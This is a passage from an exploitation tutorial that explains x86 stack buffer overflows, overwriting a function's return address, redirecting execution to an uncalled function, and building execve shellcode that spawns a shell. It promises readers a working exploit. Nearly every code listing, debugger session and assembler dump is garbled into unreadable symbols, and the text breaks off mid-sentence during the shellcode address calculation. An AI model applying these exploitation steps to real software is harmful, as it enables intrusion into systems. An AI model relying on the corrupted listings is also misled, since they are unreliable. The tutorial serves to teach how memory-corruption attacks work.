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1 Introduction

In this, the first installment, we will discuss Buffer Overflows, what they are and how they work. By the end
of this document, you should be able to create your very own working exploit. This document assumes
you have a basic knowledge of C/C++ and, at least, have heard of Assembly language. Unless otherwise
specified, all examples are on Intel x86 architecture

2 Background

First, a few terms need to be defined. For example, what is a stack? A stack is an area of memory that
is used for “scratch” purposes, that is variables. That isn’t all that is stored on the stack, when you call
a function, the return address (where you were when you called the subroutine) is also on the stack. It
is important to note that on several major platforms (Intel being most notable) the stack grows down
from high addresses to lower. I.E. from

�����������������������	����������������
����	�����������������
(Interesting note, gcc

allocates its space in 4 byte blocks)
Next, let us define a buffer overflow. A buffer in this instance is any array. It could be an array of

characters, an array of numbers, whatever. An overflow is whenever you try to stick more information
into an array than you allocated for it. Example:
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3 Buffer Overflows in Action

What happens when we run this code? Lets find out.

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKRU
�
>�+$�(��McN

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mnc[:��Zc^?E.��
=�$��	�+$K�+�	oU&8#�R�����$'(����U&8#�R��E���@�p�! �"4#����%$q&	( � ��$�,�$	�%&	
lP+�	��.E�r/1�l��#+,���.����%&8#�R'&8�
&8#'��J�.+)�)�$	��?	)'A�$E#�R����p6�7sGtA	$	�U(4(�$�$Ku����	�K�+������$�#U(H/

P���$q(����%&8#�Rb�! �"�#��8�%$'&�( � �+$�,�$��%&�
aP+�	�	.��r/1�>&	(�f�7'
������+��
��+$��U(FA�?E#�RW/

����$*J�.�)�)�$	�V&�('6�7'
����	����
��+$	�S(FA�?�#�R

P���$*#��8�%$'&�(sv-�! �"�#����%$'&�( � �+$	,�$	�%&�
-P+�	��.��0/1�g/
�E���W���V&�(svw�!�%&�
FP+����.��r/1�]/
�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��m
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What happened? Why was our original string trashed? Lets take a look at what gcc turns our source
code into. The following is an assembler dump of the executable created earlier.

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKR�,	J'�Zc^?�.��
����� R�,�J��+$	,����	�
	U&8#�. �@� c � ONDZc � �����U6�DS\CO^ �
���h � P%\
� ?���"��%&�R����4f ��� 6 � ��$�$���?�)���u+�	�+$ � ?E.�#+,��	�U&E?�#5G�
8#%
sc
����
 &�(*)��+$�$'(E?�)���u����+$HGe
�?�B+$	�+$�,*J�"��	��$ ������� $�#�$	����A���.�JSA+&�
�	U&�
�$E#%(�$HGI�E#+,�"+?�.'�	�+$
u�$�A�
�?��%$*�+?q
��+��#�R+$'&��@��#+,�:�?	�4,U&�(����%&8J�.��+$�
�?��%&E$�(>?�)C&���.�#+,�$��C
E$	���+�S&!#V
�?�#+,U&8�%&E?�#%( c
P�"��+$b�E(���?�uV
�?E��"%&8#�R3�w�+?q(�$�$�����$q
�?�#+,S&��%&E?�#U(sc
P���$��+$'&�(*��J%(�?�A�.��+$�A�">#�?*u��	���+�E#���"4)�?	� ���	
 c P�"���$C��(8��?�u�u��	���+��#���"3�w)�?	��,�$	���S&�A+(sc
P��3&	( ����
 u���(�
�?�#+)U&8R�.��+$�,*��('�	&�����7����+$�,	�+�	����A�&!#�. � �]c�c�c
O[R�,�J3\F,U&�(���(�(�$���JSA	$w�%�S&!#
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#F�%��&8#Wv
�	� � ��� � � , ��� �%�S&!# �9v ��.%(�� T�$�J��
�	� � ��� � � ,%6 � �%�S&!#"!36#�9v �%?	B T�$�(��ZG[T�$�J��
�	� � ��� � � ,�� � �%�S&!#"!$�$�9v ��.%(�� T�$�,U&
�	� � ��� � � , �
� �%�S&!#"! � �9v ��.%(�� T�$�(�&
�	� � ��� � � ,�D � �%�S&!#"!�D$�9v (�.�J % �	� � � G[T�$�(8�
�	� � ��� � � ,�� � �%�S&!#"!$�$�9v A�$�� �	� )�)�)�)�)�)�)��sONT�$�J��3\]G^T�$�� �
�	� � ��� � � ,�J � �%�S&!#"!36�6#�Hv (�.�J % �	� f � G[T�$�� �
�	� � ��� � � ,�$ � �%�S&!#"!36 � �Hv A�$�� �	� )�)�)�)�)�)�,��sONT�$�J��3\]G^T�$	,U&
�	� � ��� � � $U6 � �%�S&!#"!36 � �Hv �%?	B % �	� � ��� ��7 ��� G[T�$�(�&
c
c
c

Somewhat cryptic, the part we care about is
� �%�S&8#"!�D$�4(�.�J&% �	� � � GIT�$�(8� . On an Intel machine, T�$�(��

is the stack pointer (Remember, we’re smashing the stack). When gcc allocates space for a variable, it
is allocated off the stack. Since the stack grows down, we need to subtract however much area we need
from the current stack pointer to get some free memory BELOW the currently used stack space. That is
an important concept, BELOW the currently used stack space.

Now, how does this help us explain what happened to our strings? When an array is stored it is stored in
consecutive ASCENDING memory locations. Remember from above, the stack grows down! We declared
�E���W��� then #����%$5�j� , #����%$5�j� is BELOW �E�+����� on the stack. We tried to stuff 26 characters into #��8�%$5��� and
we only allocated 16 characters off the stack for name. So what did the code do? (����S
���"9O!\ started from
the first address allocated for #����%$Z��� and just blindly copied all 26 characters from (plus the terminating
null) copying over all the data that was on the stack before it. What would have happened if we hadn’t had
�E���W��� on the stack before name? Well, what’s on the stack before �E���W��� ? The assembler dump begins with
a ��.%(��@T�$�J�� and continues on with some other stuff, what this does is it saves the “stack frame” basically
the stack frame is a snapshot of what the processor was doing before the function started. Part of this is
the instruction pointer register ( T�$�&8� ), lets take a look at a second assembler dump. This is basically the
same code except its wrapped into a function so that we can see what happens as we call our code.

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKRU
�
>�+$�(��+f9c 

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKR�,	J'�Zc^?�.��
����� R�,�J��+$	,����	�
	U&8#�. �@� c � ONDZc � �����U6�DS\CO^ �
���h � P%\
� ?���"��%&�R����4f ��� 6 � ��$�$���?�)���u+�	�+$ � ?E.�#+,��	�U&E?�#5G�
8#%
sc
����
 &�(*)��+$�$'(E?�)���u����+$HGe
�?�B+$	�+$�,*J�"��	��$ ������� $�#�$	����A���.�JSA+&�
�	U&�
�$E#%(�$HGI�E#+,�"+?�.'�	�+$
u�$�A�
�?��%$*�+?q
��+��#�R+$'&��@��#+,�:�?	�4,U&�(����%&8J�.��+$�
�?��%&E$�(>?�)C&���.�#+,�$��C
E$	���+�S&!#V
�?�#+,U&8�%&E?�#%( c
P�"��+$b�E(���?�uV
�?E��"%&8#�R3�w�+?q(�$�$�����$q
�?�#+,S&��%&E?�#U(sc
P���$��+$'&�(*��J%(�?�A�.��+$�A�">#�?*u��	���+�E#���"4)�?	� ���	
 c P�"���$C��(8��?�u�u��	���+��#���"3�w)�?	��,�$	���S&�A+(sc
P��3&	( ����
 u���(�
�?�#+)U&8R�.��+$�,*��('�	&�����7����+$�,	�+�	����A�&!#�. � �]c�c�c
O[R�,�J3\F,U&�(���(�(�$���JSA	$w�%�S&!#
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#F�%��&8#Wv
�	� � ��� � � , ��� �%�S&!# �9v ��.%(�� T�$�J��
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�	� � ��� � � ,%6 � �%�S&!#"!36#�9v �%?	B T�$�(��ZG[T�$�J��
�	� � ��� � � ,�� � �%�S&!#"!$�$�9v (�.�J % �	� �sG[T�$�(��
�	� � ��� � � ,�7 � �%�S&!#"!�7$�9v 
���A�A �	� � ��� � � $ ��� ���%&8#����
�	� � ��� � � ,�J � �%�S&!#"!36�6#�Hv �%?	B % �	�+� G[T�$�� �
�	� � ��� � � $ ��� �%�S&!#"!36�7$�Hv A�$��	B�$
�	� � ��� � � $U6 � �%�S&!#"!36 � �Hv �+$	�
�	� � ��� � � $�f � �%�S&!#"!36 �$�Hv �%?	B T�$�(�&_G[T�$�(�&
� #+,�?�)@��(�(E$���JSA�$���,	.����Mc
O[R�,�J3\F,U&�(���(�(�$���JSA	$a���%&!#��
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#K���U&8#��Mv
�	� � ��� � � $ �
� ���%&!#����9v ��.%(�� T�$�J��
�	� � ��� � � $�D � ���%&!#��$!36#�Hv �%?	B T�$�(��ZG[T�$�J��
�	� � ��� � � $ ��� ���%&!#��$!$�$�Hv (�.�J % �	� 6 �HG[T�$�(8�
�	� � ��� � � $�� � ���%&!#��$!�7$�Hv (�.�J % �	� �sG[T�$�(��
�	� � ��� � � $	, � ���%&!#��$!��$�Hv ��.%(�� % �	� � ��� ��7�) �
�	� � ��� � � )�f � ���%&!#��$!36 � �9v ��.%(�� % �	� � ��� ��7 ���
�	� � ��� � � ) ��� ���%&!#��$!36����9v 
���A�A �	� � ��� ����� ��� ���%&8#���)"�
�	� � ��� � � )�
 � ���%&!#��$!�f � �9v ��,�, % �	� 6 � G[T�$�(8�
�	� � ��� � � )�) � ���%&!#��$!�f � �9v (�.�J % �	��� G[T�$�(��
c
c
c
�	� � ��� ��D�7U6 � ���%&!#��$!36�f�D$�9v ��,�, % �	� 6 � G[T�$�(8�
�	� � ��� ��D�7 �
� ���%&!#��$!36�f��$�9v A�$��	B�$
�	� � ��� ��D�7�D � ���%&!#��$!36�f��$�9v �+$	�
�	� � ��� ��D�7�7 � ���%&!#��$!36 � � �9v �%?	B T�$�(�&_G[T�$�(�&
�	� � ��� ��D�7�� � ���%&!#��$!36 ��f$�9v #�?��

Ok, Looks good. When our code ( �+$�(��+f9c 
 ) runs, we might overwrite some data, but we didn’t allocate
anything so we should be safe. Lets run it.

O[R�,�J3\a��.�#
�	�+�����%&8#�R>���+?	R������0vI:��+?�?	��:E�]6 � 6�:��ZcX?�.��
=�$��	�+$K�+�	oU&8#�R�����$'(����U&8#�Rb�! �"�#��8�%$'&�( � �+$�,�$	�U&�
lP+�	�	.��r/1�l��#�,���.����%&8#�RV&��C&8#V�KJ�.+)�)�$	��?�)qA�$�#�R����]6�7HGIA�$	�U(4(�$�$*u
P���$q(����%&8#�Rb�! �"�#��8�%$'&�( � �+$�,�$��%&�
aP+�	�	.��r/1�>&	(�f�7'
������+��
��+$��U(FA�?E#�RW/
����$*J�.�)�)�$	�V&�('6�7'
����	����
��+$	�S(FA�?�#�R
P���$*#��8�%$'&�(sv-�! �"�#����%$'&�( � �+$	,�$	�%&�
-P+�	��.��0/1�g/
�E���W���V&�(svw�! �"�#����U$V&	( � ��$�,�$	�%&	
lP+�	��.E�r/1�g/

���+?�R��+���q�+$+
�$S&�B+$	,@(�&�R�#+��A � 
 � � � ��� G ��$	RE�%$�#��+�	�%&E?E#�)���.�A��Mc
�	�+� � ��� � � $ � &8#K�%�S&!# OQ\
O[R�,�J3\

Everything looks good, well, up until the segfault. The name got copied just fine. What happened?
Why did we get a segfault? Look at the disassembly of main, specifically

� �%��&8#"!�7$�Hv 
���A�A �	� � ��� � � $ �
� ���%&!#����

Why is this instruction important you ask? This is one of those instructions that hides a lot of work. the
call instruction actually saves a copy of T�$S&8� (the instruction pointer remember?) guess where. . . thats
right, on the stack. Recall, the stack “grows” down. So T�$S&8� is saved above our buffer in the stack. When
we copy so much data blindly up the stack, we can actually overwrite the return address of the function
so program flow doesn’t go back where it’s supposed to. Lets modify our program a little so that we can
more easily see the data we are copying onto the stack. Let us use a string of “A”s (

�	��� 6 ).

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKRU
�
>�+$�(��"�9c 
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�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKR�,	J'�Zc^?�.��
����� R�,�J��+$	,����	�
	U&8#�. �@� c � ONDZc � �����U6�DS\CO^ �
���h � P%\
� ?���"��%&�R����4f ��� 6 � ��$�$���?�)���u+�	�+$ � ?E.�#+,��	�U&E?�#5G�
8#%
sc
����
 &�(*)��+$�$'(E?�)���u����+$HGe
�?�B+$	�+$�,*J�"��	��$ ������� $�#�$	����A���.�JSA+&�
�	U&�
�$E#%(�$HGI�E#+,�"+?�.'�	�+$
u�$�A�
�?��%$*�+?q
��+��#�R+$'&��@��#+,�:�?	�4,U&�(����%&8J�.��+$�
�?��%&E$�(>?�)C&���.�#+,�$��C
E$	���+�S&!#V
�?�#+,U&8�%&E?�#%( c
P�"��+$b�E(���?�uV
�?E��"%&8#�R3�w�+?q(�$�$�����$q
�?�#+,S&��%&E?�#U(sc
P���$��+$'&�(*��J%(�?�A�.��+$�A�">#�?*u��	���+�E#���"4)�?	� ���	
 c P�"���$C��(8��?�u�u��	���+��#���"3�w)�?	��,�$	���S&�A+(sc
P��3&	( ����
 u���(�
�?�#+)U&8R�.��+$�,*��('�	&�����7����+$�,	�+�	����A�&!#�. � �]c�c�c
O[R�,�J3\a��.�#
�	�+�����%&8#�R>���+?	R������0vI:��+?�?	��:E�]6 � 6�:��ZcX?�.��
=�$��	�+$K�+�	oU&8#�R�����$'(����U&8#�Rb� ����������������������������������������������������������� �t�E#+,K��.����%&!#�RV&��b&8#V�KJ�.+)�)�$	��?�)qA�$�#�R����]6�7HGiA�$	�U(4(
P���$q(����%&8#�Rb� ����������������������������������������������������������� �l&	(�� � 
��+�	�+��
���$	�U(>A�?E#�RW/
����$*J�.�)�)�$	�V&�('6�7'
����	����
��+$	�S(FA�?�#�R
P���$*#��8�%$'&�(sv-� ����������������������������������������������������������� �_/
�E���W���V&�(svw� ����������������������������������������������������������� �]/

���+?�R��+���q�+$+
�$S&�B+$	,@(�&�R�#+��A � 
 � � � ��� G ��$	RE�%$�#��+�	�%&E?E#�)���.�A��Mc
�	�+� � ����� 6 � 6F&8#���� O!\
O[R�,�J3\lJ���
�o����+��
�$
m � �	��� � ����� 6 � 6>&8#���� O!\
� ��#�#�?	����
�
E$�(�( �%$��U?	��"��	�q��,�,���$�(�( �	��� 6 � 6 � 6 � 6
O[R�,�J3\

Oops, can’t access memory location
�	��� 6 � 6 � 6 � 6 . But we don’t want to access

����� 6 � 6 � 6 � 6 , we wanted
to return to

���+� � ��� � ����
 and finish our program! We overwrote the return address. . . what else can we do?
We have shown that we could overwrite the return address with arbitrary data, in this case we chose “A”s
to be our arbitrary data because this was easy to recognize. What if we did something silly like put the
address of another function in the buffer? (Note: since gcc aligns everything to four byte boundaries, we
don’t have to worry about if our four byte pointer to the next function isn’t aligned right, it has to be!)

4 Bending the Stack to Our Will

Ok, we know we can overwrite the return address of a function with arbitrary data, does this mean we can
make the function return to wherever we want? Say, to another function? Consider the following listing
( �+$+(�� � c 
 ):

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKRU
�
>�+$�(�� � c 

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKR�,	J'�Zc^?�.��
����� R�,�J��+$	,����	�
	U&8#�. �@� c � ONDZc � �����U6�DS\CO^ �
���h � P%\
� ?���"��%&�R����4f ��� 6 � ��$�$���?�)���u+�	�+$ � ?E.�#+,��	�U&E?�#5G�
8#%
sc
����
 &�(*)��+$�$'(E?�)���u����+$HGe
�?�B+$	�+$�,*J�"��	��$ ������� $�#�$	����A���.�JSA+&�
�	U&�
�$E#%(�$HGI�E#+,�"+?�.'�	�+$
u�$�A�
�?��%$*�+?q
��+��#�R+$'&��@��#+,�:�?	�4,U&�(����%&8J�.��+$�
�?��%&E$�(>?�)C&���.�#+,�$��C
E$	���+�S&!#V
�?�#+,U&8�%&E?�#%( c
P�"��+$b�E(���?�uV
�?E��"%&8#�R3�w�+?q(�$�$�����$q
�?�#+,S&��%&E?�#U(sc
P���$��+$'&�(*��J%(�?�A�.��+$�A�">#�?*u��	���+�E#���"4)�?	� ���	
 c P�"���$C��(8��?�u�u��	���+��#���"3�w)�?	��,�$	���S&�A+(sc
P��3&	( ����
 u���(�
�?�#+)U&8R�.��+$�,*��('�	&�����7����+$�,	�+�	����A�&!#�. � �]c�c�c
O[R�,�J3\F,U&�(���(�(�$���JSA	$w�%�S&!#
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#F�%��&8#Wv
�	� � ��� ��D ����� �%�S&!# �9v ��.%(�� T�$�J��
�	� � ��� ��D � 6 � �%�S&!#"!36#�9v �%?	B T�$�(��ZG[T�$�J��
�	� � ��� ��D � � � �%�S&!#"!$�$�9v (�.�J % �	� �sG[T�$�(��
�	� � ��� ��D � 7 � �%�S&!#"!�7$�9v 
���A�A �	� � ��� ��D%6 ��� ���%&8#����
�	� � ��� ��D � J � �%�S&!#"!36�6#�Hv �%?	B % �	�+� G[T�$�� �
�	� � ��� ��D%6 ��� �%�S&!#"!36�7$�Hv A�$��	B�$
�	� � ��� ��D%6�6 � �%�S&!#"!36 � �Hv �+$	�
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�	� � ��� ��D%68f � �%�S&!#"!36 �$�Hv �%?	B T�$�(�&_G[T�$�(�&
� #+,�?�)@��(�(E$���JSA�$���,	.����Mc
O[R�,�J3\F,U&�(���(�(�$���JSA	$w�](�R
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#F�](�RMv
�	� � ��� ��D���� � �](�R"�9v ��.%(�� T�$�J��
�	� � ��� ��D���� � �](�R�!36#�9v �%?	B T�$�(��ZG[T�$�J��
�	� � ��� ��D��EJ � �](�R�!$�$�9v (�.�J % �	� �sG[T�$�(��
�	� � ��� ��D���$ � �](�R�!�7$�9v (�.�J % �	� 
]G[T�$�(��
�	� � ��� ��D��U6 � �](�R�!��$�9v ��.%(�� % �	� � ��� � � 6 �
�	� � ��� ��D���7 � �](�R�!36 � �9v 
���A�A �	� � ��� ����J�� � ���%&8#���)"�
�	� � ��� ��D��EJ � �](�R�!36��$�9v ��,�, % �	� 6 � G[T�$�(8�
�	� � ��� ��D���$ � �](�R�!�f�f$�9v (�.�J % �	� 
]G[T�$�(��
�	� � ��� ��D�J_6 � �](�R�!�f�D$�9v ��.%(�� % �	�+�
�	� � ��� ��D�J"� � �](�R�!�f � �9v 
���A�A �	� � ��� ����,$� � $ � &��"�
� #+,�?�)@��(�(E$���JSA�$���,	.����Mc
O[R�,�J3\F,U&�(���(�(�$���JSA	$a���%&!#��
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#K���U&8#��Mv
�	� � ��� ��D%6 �
� ���%&!#����9v ��.%(�� T�$�J��
�	� � ��� ��D%68D � ���%&!#��$!36#�Hv �%?	B T�$�(��ZG[T�$�J��
�	� � ��� ��D%6 ��� ���%&!#��$!$�$�Hv (�.�J % �	� 6 �HG[T�$�(8�
�	� � ��� ��D%68� � ���%&!#��$!�7$�Hv (�.�J % �	� �sG[T�$�(��
�	� � ��� ��D%6!, � ���%&!#��$!��$�Hv ��.%(�� % �	� � ��� � � 7 �
�	� � ��� ��D�f�f � ���%&!#��$!36 � �9v ��.%(�� % �	� � ��� ��7 ���
�	� � ��� ��D�f ��� ���%&!#��$!36����9v 
���A�A �	� � ��� ����J�� � ���%&8#���)"�
�	� � ��� ��D�f+
 � ���%&!#��$!�f � �9v ��,�, % �	� 6 � G[T�$�(8�
�	� � ��� ��D�f	) � ���%&!#��$!�f � �9v (�.�J % �	��� G[T�$�(��
c
c
c
�����EP�"���$ � ��$	��.���#��F�+?'
�?�#��%&!#�.�$HGI?���� � �+$	�	.���# �F��?��	.%&����������
� .3&8�
O[R�,�J3\

In this program, I have added the function �](�R9O!\ which merely prints out a message then exits the
program. Now, �](�R9OQ\ is never called in the main function nor is it called in our original ���U&8#��9O!\ function.
Lets see if we can get �](�R9O!\ to execute instead of having our program segfault. We can see �](�R9O!\ begins
at the location

��� � ��� ��D���� , what would happen if we set up our string to contain that particular address,
lets try it. (Note: Intel architecture is what is known as “little endian,” this means the least significant
byte is leftmost—backwards from common ordering. What this means is if we want to jump to location�	� � ��� ��D���� our “string” needs to be

�	� ������D ����� � , remember to pad with zeros) The address may be dif-
ferent on your computer, to find the addresses, I compiled with a dummy value in place of my address,
then I went back and filled in the proper address from the assembler dump. When run, this is what the
program does:

O[R�,�J3\a��.�#
�	�+�����%&8#�R>���+?	R������0vI:��+?�?	��:E�]6 � 6�:��ZcX?�.��
=�$��	�+$K�+�	oU&8#�R�����$'(����U&8#�Rb���a��#+,���.����%&8#�R'&8�p&8#'�KJ�.+)�)�$���?�)'A	$�#�R����_6�7HG
A�$	�S(�(E$�$*u����	����������$�#%(H/
P���$q(����%&8#�Rb����&�( � �'
����	�+�+
��+$	�U(aA�?�#�RM/
����$*J�.�)�)�$	�V&�('6�7'
����	����
��+$	�S(FA�?�#�R
P���$*#��8�%$'&�(sv-���g/
�E���W���V&�(svw���g/
P��3&	(@&	(*���+$�$E#+,M/

���+?�R��+���V$ � &��+$�,*#�?��E�%��A�AE"Mc
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O[R�,�J3\

As you can see, everything went according to plan. So now, we know we can get the program to execute
arbitrary code. . . that exists in the executable, what about plain old arbitrary code?

5 Shell Code

What we need is shell code. What is shell code? Shell code is a carefully crafted sequence of bytes that
generally executes a command shell (such as bash). It is important to note that while this [that executes
a shell] is the most common type of payload for an exploit, we are not limited to this. We could create a
payload that executes a daemon, copies a file to another location or even executes the dreaded ��� ����)q: .
The code can meet with varying degrees of success depending on the privileges of the program you are
exploiting, but I digress.

Ok, on to crafting the shell code. How does the computer execute a program?

mU&8#U
	AE.+,�$ � (���,U&�?Zcj� �

&8#��>�%��&8#ZO[B+?�&�,U\ �

������C<8#����%$5�j��� � ��:EJ3&8#S:�(��]�3G �	�+����� 2 :+<�����R�.��%$E#���A�&�(��4#�.SA�A*�+$	�E�]&8#��	�+$	,�<	:

$ � $+
�B+$sO^#+���%$5� � �9Gd#����%$HG �	����� \]2 :+<K$ � $+
�.��+��J�A�$a#��8�%$HG �	��R�.E�%$�#���A+&�(��ZG $�#�BqA�&	(��V<	:
�

This executes :�J3&8#S:+(8� . This is the shortest program I know of that executes a program. Lets take a
look at what it is actually doing when it executes this.

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKRU
�
>�+$�(��+79c 
 ��R�R�,�J��+(��+�	�U&�

�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKR�,	J'�Zc^?�.��
O[R�,�J3\F,U&�(���(�(�$���JSA	$w�%�S&!#
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#F�%��&8#Wv
�	� � ��� � � 7 ��� �%�S&!# �9v ��.%(�� T�$�J��
�	� � ��� � � 7U6 � �%�S&!#"!36#�9v �%?	B T�$�(��ZG[T�$�J��
�	� � ��� � � 7�� � �%�S&!#"!$�$�9v (�.�J % �	� �sG[T�$�(��
�	� � ��� � � 7�7 � �%�S&!#"!�7$�9v A�$�� �	� )�)�)�)�)�)�)��sONT�$�J��3\]G^T�$�� �
�	� � ��� � � 7�� � �%�S&!#"!��$�9v �%?	B�A % �	� � ��� � � )��HG �	� )�)�)�)�)�)�)$�gONT�$EJ��%\
�	� � ��� � �+����� �%�S&!#"!36�7$�Hv �%?	B�A % �	�+� G �	� )�)�)�)�)�)�)�
]ONT�$EJ��3\
�	� � ��� � �+����� �%�S&!#"!�f��$�Hv (�.�J % �	��� G[T�$�(��
�	� � ��� � �+� � � �%�S&!#"!�f�7$�Hv ��.%(�� % �	�+�
�	� � ��� � �+� 
 � �%�S&!#"!�f��$�Hv A�$�� �	� )�)�)�)�)�)�)��sONT�$�J��3\]G^T�$�� �
�	� � ��� � �+� ) � �%�S&!#"!$�%6#�Hv ��.%(�� T�$�� �
�	� � ��� � � � ��� �%�S&!#"!$��f$�Hv ��.%(���A �	� )�)�)�)�)�)�)��sONT�$�J��3\
�	� � ��� � � ��� � �%�S&!#"!$��D$�Hv 
���A�A �	� � ��� ���%6�
 � ����$ � $�
�B+$$�
�	� � ��� � � ��� � �%�S&!#"! �+� �Hv ��,�, % �	� 6 � G[T�$�(8�
�	� � ��� � � �EJ � �%�S&!#"! � �$�Hv A�$��	B�$
�	� � ��� � � �+
 � �%�S&!#"! ��� �Hv �+$	�
� #+,�?�)@��(�(E$���JSA�$���,	.����Mc
O[R�,�J3\

� �%��&8#"!�f���� is where the call to $ � $�
�B+$ O!\ begins. We push the arguments for $ � $�
�B�$sO!\ onto the stack
in reverse order, first comes the null for the $�#�BW��� . Next comes the address of the argument array #����%$Z��� ,
and finally the address of the program name #����U$5� � � or “ :EJ3&8#S:�(��SL � ” is pushed onto the stack, then execve
is called. Lets see what execve is doing.

O[R�,�J3\F,U&�(���(�(�$���JSA	$ ����$ � $�
�B+$
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�# ���	$ � $�
�B�$Zv
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c
c
�	� � ��� 
���JU
 � ����$ � $�
�B+$�!36�f$�9v �%?	B �	� � ONT�$�J��%\]G[T�$�,S& 21
�?���"@��,�,��@?�)K#����%$5� � �
�	� � ��� 
���J�) � ����$ � $�
�B+$�!36�D$�9v � $ �	� � ��� 
���
E7 � ����$ � $�
�B+$�!�f�f$�
�	� � ��� 
���
+6 � ����$ � $�
�B+$�!36 � �9v 
���A�A �	�+�
�	� � ��� 
���
E7 � ����$ � $�
�B+$�!�f�f$�9v �%?	B �	� 
_ONT�$�J��%\]G[T�$�
 � 2N��,�,���$�(�(>?�)K#����U$5���
�	� � ��� 
���
 � � ����$ � $�
�B+$�!�f�D$�9v �%?	B �	� 6 � ONT�$�J��3\]G[T�$	, � 2N��,�,���$�(�(>?�) ��� 	�	
�	� � ��� 
���
�
 � ����$ � $�
�B+$�!�f��$�9v ��.%(8� T�$�J �
�	� � ��� 
���
�, � ����$ � $�
�B+$�!�f��$�9v �%?	B T�$�,S&]G[T�$�J � 2 �%?	B�$���,�,��+$+(�(>?�)�#����%$5� � �
�	� � ��� 
���
�) � ����$ � $�
�B+$�!$�%6#�9v �%?	B % �	� J5G[T�$�� � 2N$ � $+
�B+$@&8#b(�"U(�
���A�A>�+�EJSA�$
�	� � ��� 
���, �
� ����$ � $�
�B+$�!$��7$�9v &8#�� % �	� � � 21
���A�A�(�"U(��+$8�
c
c
�	� � ��� 
���) �
� ����$ � $�
�B+$�!�7��$�9v �+$	�
� #+,�?�)@��(�(E$���JSA�$���,	.����Mc
O[R�,�J3\

Note: everything after the ‘ 2 ’ was added by me as an explanation
Lets condense this to its essentials, we need:

1. Have “ :�J3&8#S:+(8�SL � ” in memory

2. Have the address of “ :EJ3&!#S:+(��SL � ” followed by a long null word in memory

3. Copy
��� J into

� ���

4. Copy the address of the address of “ :EJ3&8#�:+(��SL � ” into
� 
��

5. Copy the address of “ :EJ%&8#S:+(���L � ” into
� ���

6. The address of the null long word into
� ���

7. Execute “ &8#�� �	� � � ”

Now we know what we need so lets do it!

&8#��>�%��&8#ZO[B+?�&�,U\ �
�����+(Q� ��� O8�

� �+� 
	A�A m��E.E�����+?V
�A�A
�%$�$Zv ��?E�SA T�$+(�& m � $����	��$@�	,�,��+$�(�(F?�)p��:EJ3&8#�:+(��]�w)	�+?��'����$q(��+�+
�o

�%?�B�A T�$+(�&]G �	� �sONT�$�(�&�\ m� +?�B+$K����$4��,�,���$�(�(>?�)4����$4��,�,	�+$�(�(>?�)
m ����$'(����%&!#�R�?�#��+?K���+$'(��+��
�o

�%?�B�J % ���+� G �	��� ONT�$�(�&�\ m ��� 	�	��+$	�E�g&!#��	�+$'��:EJ3&8#S:�(��]�
�%?�B�A % ���+� G �	� 
]ONT�$�(�&�\ m � ��$��	�+$�� ��� 	�	@A�?E#�R�u�?	��,
�%?�B�A % ��� J5G[T�$�� � m'h	)�)S(�$	��?�)@$ � $+
�B+$q&8#b(�"U(�
E��A�AZ���>�+��JSA�$
�%?�B�A T�$+(�&]G[T�$EJ � m � ,�,��+$�(�(>?	)q��,�,��+$�(�(a?�)���:EJ3&8#S:�(��SL � �
A�$���A �	� �sONT�$�(�&�\]G[T�$+
 � m � ,�,��+$�(�(>?	)���:�J3&8#S:+(8�SL � �
A�$���A �	� 
]ONT�$�(�&�\]G[T�$	, � m � ,�,��+$�(�(>?	) ��� 	�	�A�?�#�R�J�"��+$
&8#�� % ��� � � mq$ � $�
�.��+$��'(�"U(��+$��p
���A�A


	A�A9v 
���A�A �%$�$ m
� � ���+$�(>��,�,��+$�(�(>?	) c (����%&8#�R�?�#��+?q(��+�+
�o
c (����%&8#�R4LU��:EJ3&!#S:+(��SLS� m��KJ�"��+$q(����%&8#�R

�	\]2
�

Note: This code modifies itself and causes a segmentation violation when run because the “text”
(code) segment of memory is flagged for write protection, however, if we got the code into the stack seg-
ment, we can write and execute. Now, to get the shell code, all we have to do is compile the code and
examine the bytes.
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�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKRU
�
�(���$�A�A�
�?�,�$ZcN
���R
�j�+?�?	�+k�A�?+
���AE��?+(��l�]6 � 68��mKR�,	J'�Zc^?�.��
����� R�,�J��+$	,����	�
	U&8#�. �@� c � ONDZc � �����U6�DS\CO^ �
���h � P%\
O[R�,�J3\F,U&�(���(�(�$���JSA	$w�%�S&!#
� .��+�'?	)q��(�(�$���JSA	$	�q
�?�,�$K)�?	�@)	.�#%
��U&E?�#F�%��&8#Wv
�	� � ��� � � � ��� �%�S&!# �9v ��.%(�� T�$�J��
�	� � ��� � � �U6 � �%�S&!#"!36#�9v �%?	B T�$�(��ZG[T�$�J��
�	� � ��� � � ��� � �%�S&!#"!$�$�9v � ��� �	� � ��� � � D�) � 
	A�A��
�	� � ��� � � ��D � �%$�$��9v ��?�� T�$�(�&
c
c
c
�	� � ��� � � 7EJ � 
	A�A�!36�f$�9v ��,�, T	JSAsG �	� )�)�)�)�)�)S
�� ONT�$EJ��%\
� #+,�?�)@��(�(E$���JSA�$���,	.����Mc
O[R�,�J3\

A little bit of address math,
�	� � ��� � � ��� -

